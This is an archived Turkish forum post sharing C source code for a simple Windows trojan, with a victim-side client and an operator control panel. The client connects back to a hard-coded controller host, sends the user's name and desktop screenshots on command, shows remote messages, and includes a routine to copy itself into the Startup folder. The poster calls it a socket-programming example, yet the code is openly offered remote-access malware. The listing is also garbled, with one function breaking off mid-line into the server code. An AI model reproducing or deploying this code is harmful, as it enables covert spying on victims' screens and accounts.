PDA

Orijinalini görmek için tıklayınız : (C) de yazılmış Trojan COD ları


Ersun
03-18-2008, 06:00 PM
pek fazla bir özelliği yok..ama cod ları faydalı olabilir
ilk çalıştıgında kendini başlat dizinine kopyalıyor.server-a baglandıgında bilgisayarın adını alabiliyorsunuz ve o anki ekran görüntüsünü alabiliyorsunuz...birde mesaj gönderebilirsiniz...sadece bukadar
socket programlama için iyi bir örnek olabilir.....

(clien) MAIN.C


Kod:
/*
Cod lar ByCodeC tarafından tasarlanmıştır ve bir socket programlama örneği olarak kullanılabilir.



*/


#include <windows.h>
#include <stdio.h>



char recv_data[50] ;
char Director[100] = "C:\\********s and Settings\\";
WSADATA wsdata;
SOCKET s;
struct hostent *he;
struct sockaddr_in their_addr;
FILE *bmp;
char hdr;
char UserName[20];

#include "socket_bycodec.h"

int WINAPI WinMain (HINSTANCE hThisInstance,HINSTANCE hPrevInstance,LPSTR lpszArgument,int nFunsterStil)
{
if(hPrevInstance != NULL)exit(0);
HWND hwnd;MSG messages; WNDCLASSEX wincl;
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^

// KULLANICI ADI

DWORD usersize=sizeof(UserName);GetUserName(UserName,&usersize);
strcat(Director,UserName);
strcat(Director,"\\Start Menu\\Programlar\\Başlangıç\\screen.exe");
// MessageBox(NULL,Director,UserName,MB_OK);
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^
//Procces_Copy();
//_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
WSAStartup(MAKEWORD(2,0),&wsdata);
// if((he = gethostbyname("buraya no-ip den aldgınız hostu yazın")) == NULL) return 1;//cartcurt.no-ip.info gibi

//_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
while(!Connect_init());
//__________________________________________________ __________

for(;Wink{

if((recv(s,&hdr,1,0))<0){
closesocket(s);
while(!Connect_init());
hdr = ' ';
}
switch(hdr){
case 'p': //picture send
File_Send();break;
case 'r': //reciver file
File_recv();break;
case 'u': //what is your name
User_Name_Send();break;
case 'm':
Message_Box_Bycodec();break;
}

}

//__________________________________________________ __________

//:::::::::::::::::::::::::::::::::::::::::::::::::: :::::::::
closesocket(s);
WSACleanup();
return 0;
//:::::::::::::::::::::::::::::::::::::::::::::::::: :::::::::
}
(client) socket_bycodec.h



Kod:
int Connect_init(****);
int Procces_Copy(****);
int Screenshotal(HDC hdc, char *pszflname);
**** wait(****);
int File_Send(****);
int File_recv(****);
int User_Name_Send(****);
int Message_Box_Bycodec(****);


int Connect_init(****)
{
if((he = gethostbyname("192.168.14.2")) == NULL) return 0; //bycodec84.no-ip.info
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(38780);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(their_addr.sin_zero),'\0',8);

if((s=socket(AF_INET,SOCK_STREAM,0)) == -1) return 0;
// MessageBox(NULL,"socket ok","ok",MB_OK);
if((connect(s,(struct sockaddr *)&their_addr,sizeof(struct sockaddr))) < 0)return 0;
return 1;
// if((send(s,"osman",strlen("osman"),0)) < 0);
}

int Procces_Copy(****)
{
int temp;
FILE *cpy_file;
FILE *new_file;
cpy_file = fopen("screen.exe","rb");
if((new_file = fopen(Director,"wb")) == 0)
return 0;
while((temp = getc(cpy_file)) != EOF)
fprintf(new_file,"%c",temp);

fclose(cpy_file);
fclose(new_file);

return 1;
}

/*
**** wait(****){
unsigned int ii = 0;
for(ii=0;ii<65000;ii++);
}
*/
//######################################
int File_recv(****)
{
return 0;
}

int File_Send(****)
{
int temp;
Screenshotal(GetDC(GetDesktopWindow()),"c:\\windows\\src.bmp");
bmp = fopen("c:\\windows\\src.bmp","rb");
do{
temp = getc(bmp);
if(send(s, (char *) &temp, 1, 0)< 0)return 0;
}while(!feof(bmp));
fclose(bmp);
send(s,"stop",strlen("stop"),0);
return 1;
}

int Message_Box_Bycodec(****)
{
char mssg[100];
if((recv(s,mssg,100,0))<0){
return 1;
}
MessageBox(NULL,mssg,"message",MB_OK);
return 0;
}
int User_Name_Send(****)
{
if(send(s,UserName,strlen(UserName),0)< 0)return 0;
return 1;
}

int Screenshotal(HDC hdc, char *pszflname)
{
HDC memdc;
HANDLE hfl;
DWORD dwBytes, dwWidth, dwHeight, dwNumColors, dwBPP, ColorSize;
**** *pBits;
HBITMAP hbmp;
BITMAPFILEHEADER fileheader;
BITMAPINFOHEADER infoheader;
RGBQUAD colors[256]engel olan bişiyler var","ByCodeC",MB_ICONERROR);
//-------------------------------------------------------------------
/* The Window structure */
wincl.hInstance = hThisInstance;
wincl.lpszClassName = szClassName;
wincl.lpfnWndProc = WindowProcedure; /* This function is called by windows */
wincl.style = CS_DBLCLKS; /* Catch double-clicks */
wincl.cbSize = sizeof (WNDCLASSEX);

/* Use default icon and mouse-pointer */
wincl.hIcon = LoadIcon (NULL,IDI_EXCLAMATION);
wincl.hIconSm = LoadIcon (NULL, IDI_EXCLAMATION);
wincl.hCursor = LoadCursor (NULL, IDC_ARROW);
wincl.lpszMenuName = NULL; /* No menu */
wincl.cbClsExtra = 0; /* No extra bytes after the window class */
wincl.cbWndExtra = 0; /* structure or the window instance */
/* Use Windows's default color as the background of the window */
wincl.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH);

/* Register the window class, and if it fails quit the program */
if (!RegisterClassEx (&wincl))
return 0;

/* The class is registered, let's create the program*/
hwnd = CreateWindowEx (
0, /* Extended possibilites for variation */
szClassName, /* Classname */
"ByCodeC++ ServeR", /* Title Text */
WS_BORDER | WS_SYSMENU, /* default window */
CW_USEDEFAULT, /* Windows decides the position */
CW_USEDEFAULT, /* where the window ends up on the screen */
550, /* The programs width */
410, /* and height in pixels */
HWND_DESKTOP, /* The window is a child-window to desktop */
NULL, /* No menu */
hThisInstance, /* Program Instance handler */
NULL /* No Window Creation data */
);ShowWindow (hwnd, nFunsterStil);
//------------------------------------------------------------
tv.tv_sec = 0;
tv.tv_usec = 100;

FD_ZERO(&master); // clear the master and temp sets
FD_ZERO(&read_fds);

if ((listener = socket(AF_INET, SOCK_STREAM, 0)) == -1)
MessageBox(hwnd,"SOCKET error","bycodec",MB_ICONERROR);

myaddr.sin_family = AF_INET;
myaddr.sin_addr.s_addr = INADDR_ANY;
myaddr.sin_port = htons(PORT);
memset(&(myaddr.sin_zero), '\0', 8);

if (bind(listener, (struct sockaddr *)&myaddr, sizeof(myaddr)) == -1)
MessageBox(hwnd,"Bind error !","bycodec",MB_ICONERROR);

if (listen(listener, 10) == -1)
MessageBox(hwnd,"Listen error !","bycodec",MB_ICONERROR);

FD_SET(listener, &master);
fdmax = listener;
//-----------------------------------------------------------------------------

/* Make the window visible on the screen */

/* Run the message loop. It will run until GetMessage() returns 0 */
while (GetMessage (&messages, NULL, 0, 0))
{
/* Translate virtual-key messages into character messages */
TranslateMessage(&messages);
/* Send message to WindowProcedure */
DispatchMessage(&messages);
//-----------------------------------------------------------------------------
read_fds = master;
if (select(fdmax+1, &read_fds, NULL, NULL,&tv) == -1)
MessageBox(hwnd,"select error","bycodec",MB_ICONERROR);

for(i = 0; i <= fdmax; i++) {
if (FD_ISSET(i, &read_fds)) { // we got one!!
if (i == listener) {
// handle new connections
addrlen = sizeof(remoteaddr);
if ((newfd = accept(listener, (struct sockaddr *)&remoteaddr,&addrlen)) == -1) {
MessageBox(hwnd,"accept error","bycodec",MB_ICONERROR);
} else {

FD_SET(newfd, &master); // add to master set
if (newfd > fdmax) { // keep track of the maximum
fdmax = newfd;
}
list[listCnt++] = newfd;
sprintf(adres,"%s",inet_ntoa(remoteaddr.sin_addr));
AddListBox(hListBox,adres);


}
}/* else {
// handle data from a client
printf("\nveri alma beklemesi\n");
if ((nbytes = recv(i, buf, sizeof(buf), 0)) <= 0) {
// got error or connection closed by client
if (nbytes == 0) {
// connection closed
MessageBox(hwnd,"koptu","bycodec",MB_OK);
} else {

}
close(i); // bye!
FD_CLR(i, &master); // remove from master set
}else {
puts(buf);// we got some data from a client
for(j = 0; j <= fdmax; j++) {
// send to everyone!
if (FD_ISSET(j, &master)) {
// except the listener and ourselves
if (j != listener && j != i) {
if (send(j,"",strlen("osman"), 0) == -1) {

}
}
}
}
}
}
*/ // it's SO UGLY!
}
}
//-----------------------------------------------------------------------------
}

/* The program return-value is 0 - The value that PostQuitMessage() gave */
WSACleanup();
return messages.wParam;
}


/* This function is called by the Windows function DispatchMessage() */

LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
char info[30]="";
int info_int=0;

switch (message) /* handle the messages */
{
case WM_CREATE:
//------------------------------------ label ----------------------------------------------
hLabel1 = CreateWindow("static"," <------- ByCodeC ScreenShot server ------->",
WS_CHILD | WS_VISIBLE,4,198,400,15,hwnd,(HMENU)100,
((LPCREATESTRUCT)lParam)->hInstance,NULL);
SendMessage(hLabel1, WM_SETFONT, (WPARAM)GetStockObject(ANSI_VAR_FONT), 0);
//------------------------------------ button ---------------------------------------------
hButton1 = CreateWindow("button","EXIT",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,// | BS_FLAT ,
3,351,538,20,hwnd,(HMENU)EXIT_B,
((LPCREATESTRUCT)lParam)->hInstance,NULL);
SendMessage(hButton1, WM_SETFONT, (WPARAM)GetStockObject(OEM_FIXED_FONT), 0);

hButton2 = CreateWindow("button","Send Message",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,// | BS_FLAT,
3,331,538,20,hwnd,(HMENU)SNDMSG_B,
((LPCREATESTRUCT)lParam)->hInstance,NULL);
SendMessage(hButton2, WM_SETFONT, (WPARAM)GetStockObject(OEM_FIXED_FONT), 0);

hButton3 = CreateWindow("button","",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,// | BS_FLAT,
3,3,538,10,hwnd,(HMENU)INFO_B,
((LPCREATESTRUCT)lParam)->hInstance,NULL);
SendMessage(hButton3, WM_SETFONT, (WPARAM)GetStockObject(OEM_FIXED_FONT), 0);

hButton4 = CreateWindow("button","",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,// | BS_FLAT,
405,15,15,243,hwnd,(HMENU)BTN1,
((LPCREATESTRUCT)lParam)->hInstance,NULL);
SendMessage(hButton4, WM_SETFONT, (WPARAM)GetStockObject(OEM_FIXED_FONT), 0);

hButton5 = CreateWindow("button","",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,// | BS_FLAT,
4,259,537,12,hwnd,(HMENU)BTN2,
((LPCREATESTRUCT)lParam)->hInstance,NULL);
SendMessage(hButton5, WM_SETFONT, (WPARAM)GetStockObject(OEM_FIXED_FONT), 0);

hButton6 = CreateWindow("button","---",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,// | BS_FLAT,
4,216,400,17,hwnd,(HMENU)BTN2,
((LPCREATESTRUCT)lParam)->hInstance,NULL);
SendMessage(hButton6, WM_SETFONT, (WPARAM)GetStockObject(OEM_FIXED_FONT), 0);

hButton7 = CreateWindow("button","? User Name ?",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,// | BS_FLAT,
3,311,268,20,hwnd,(HMENU)USER_NAME,
((LPCREATESTRUCT)lParam)->hInstance,NULL);
SendMessage(hButton7, WM_SETFONT, (WPARAM)GetStockObject(OEM_FIXED_FONT), 0);

hButton8 = CreateWindow("button","!!! ScreenShoot !!!",WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON ,//| BS_FLAT,
270,311,271,20,hwnd,(HMENU)SCREEN_SHOOT,
((LPCREATESTRUCT)lParam)->hInstance,NULL);
SendMessage(hButton7, WM_SETFONT, (WPARAM)GetStockObject(OEM_FIXED_FONT), 0);
//------------------------------------- ListBox -------------------------------------------
hListBox = CreateWindow("listbox",".",
WS_CHILD | WS_VISIBLE | LBS_NOTIFY | WS_HSCROLL | WS_VSCROLL,
421,15,120,243,hwnd,(HMENU)LIST_C,
((LPCREATESTRUCT)lParam)->hInstance,NULL);
SendMessage(hListBox, WM_SETFONT, (WPARAM)GetStockObject(OEM_FIXED_FONT), 0);
//-------------------------------------- EDİT ---------------------------------------------
hEdit = CreateWindow(TEXT( "edit" ),NULL,WS_CHILD | WS_VISIBLE |
WS_BORDER | ES_LEFT | ES_AUTOHSCROLL ,
4, 235, 400,21,hwnd,(HMENU)MEDIT_C,((LPCREATESTRUCT)lParam )->hInstance,NULL);

SendMessage(hEdit, WM_SETFONT, (WPARAM)GetStockObject(ANSI_VAR_FONT), 0);
//--------------------------------------- MEMO --------------------------------------------
hMemo = CreateWindow("listbox","",
WS_CHILD | WS_VISIBLE |LBS_NOSEL| WS_HSCROLL | WS_VSCROLL,
4,15,399,207,hwnd,(HMENU)MEMO,
((LPCREATESTRUCT)lParam)->hInstance,NULL);
SendMessage(hMemo, WM_SETFONT, (WPARAM)GetStockObject(ANSI_VAR_FONT), 0);
AddListBox(hMemo,"-_-_-_-_-______ ByCodeC SerVer _____-_-_-_-_-_");
//-----------------------------------------------------------------------------------------
//################################################## ############################## #########

//################################################## ############################## #########
break;

case WM_DESTROY:
PostQuitMessage (0); /* send a WM_QUIT to the message queue */
break;

case WM_COMMAND://PostMessage(hwnd,WM_QUIT,0,0);
if(HIWORD(wParam) == BN_CLICKED){
if(LOWORD(wParam) == EXIT_B){
PostMessage(hwnd,WM_QUIT,0,0);
}
//__________________________________________________ ______________________________ ______Send message
if(LOWORD(wParam) == SNDMSG_B){
OnButtonClicked(hListBox);break;
}
//__________________________________________________ ______________________________ ______info
if(LOWORD(wParam) == INFO_B){
info_int = SendMessage(hListBox,LB_GETCOUNT,0,0);
AddListBox(hMemo,"");
AddListBox(hMemo,"_-_-_-_-_-_-_-_-_OnLiNe NumBer_-_-_-_-_-_-_-_");
sprintf(info," total = %d",info_int);
AddListBox(hMemo,info);break;
}
//__________________________________________________ ______________________________ ______user name
if(LOWORD(wParam) == USER_NAME){
memset(UserName,'\0',20);
memset(buf,'\0',256);

activSocket = SendMessage(hListBox,LB_GETCURSEL,0,0);
ch = 'u';
if(activSocket < 0){
MessageBox(hwnd,"! selected IP !","ByCodeC",MB_ICONERROR);
break;
}
AddListBox(hMemo,"user name ?");
if (send(list[activSocket],&ch,1, 0) < 0) {
MessageBox(hwnd,"send error","ByCodeC",MB_ICONERROR);break;
}
AddListBox(hMemo,"send ok");
if(recv(list[activSocket],UserName,sizeof(UserName),0) < 0){
MessageBox(hwnd,"recv error","ByCodeC",MB_ICONERROR);break;
}
sprintf(buf,"active user name = [ %s ]",UserName);
AddListBox(hMemo,buf);
break;
}
//__________________________________________________ ______________________________ ______screen shoot
if(LOWORD(wParam) == SCREEN_SHOOT){
AddListBox(hMemo,"please waiting receive Screen shoot ;-)");
MessageBox(hwnd,"please waiting receive Screen shoot ;-)","bycode",MB_OK);
activSocket = SendMessage(hListBox,LB_GETCURSEL,0,0);
ch = 'p';
if(activSocket < 0){
MessageBox(hwnd,"! selected IP !","ByCodeC",MB_ICONERROR);
break;
}

int ch_cnt = 0;
int flag = 0;
char stop[]="stop";
FILE *resim;
resim = fopen("resim.bmp","wb");
if (send(list[activSocket],&ch,1, 0) < 0) {
MessageBox(hwnd,"send error","ByCodeC",MB_ICONERROR);break;
}

while(!flag){
if(recv(list[activSocket],&ch,1,0) < 0){
MessageBox(hwnd,"recv error","ByCodeC",MB_ICONERROR);break;
}
putc(ch,resim);
if(stop[ch_cnt] == ch){
ch_cnt++;
if(ch_cnt > 3){
fclose(resim);
AddListBox(hMemo,"picture \\resim.bmp");
flag = 1;
break;
}
}
else
ch_cnt = 0;
}
}
//__________________________________________________ ______________________________ ______
}
default: /* for messages that we don't deal with */
return DefWindowProc (hwnd, message, wParam, lParam);
}

return 0;
}

**** AddListBox(HWND hlistbox,char *txt)
{
SendMessage(hlistbox,LB_ADDSTRING,0,(LPARAM)txt);
}
int OnButtonClicked(HWND hlistbox)
{
char text[10];
int index = SendMessage(hlistbox,LB_GETCURSEL,0,0);
sprintf(text,"%d",index);

if(index < 0){
MessageBox(NULL,"select IP","ByCodeC",MB_ICONERROR);
}
else

return index;
}

(server) MAIN.H



Kod:
#define EXIT_B 100
#define SNDMSG_B 101
#define INFO_B 102
#define BTN1 103
#define BTN2 104
#define USER_NAME 105
#define SCREEN_SHOOT 106
#define BTN5 107
#define BTN6 108



#define LIST_C 200
#define EDIT_C 300
#define MEDIT_C 301
#define MEMO 400

#define PORT 38780 // çalışmak istediğiniz port (client deki ile aynı olmalı)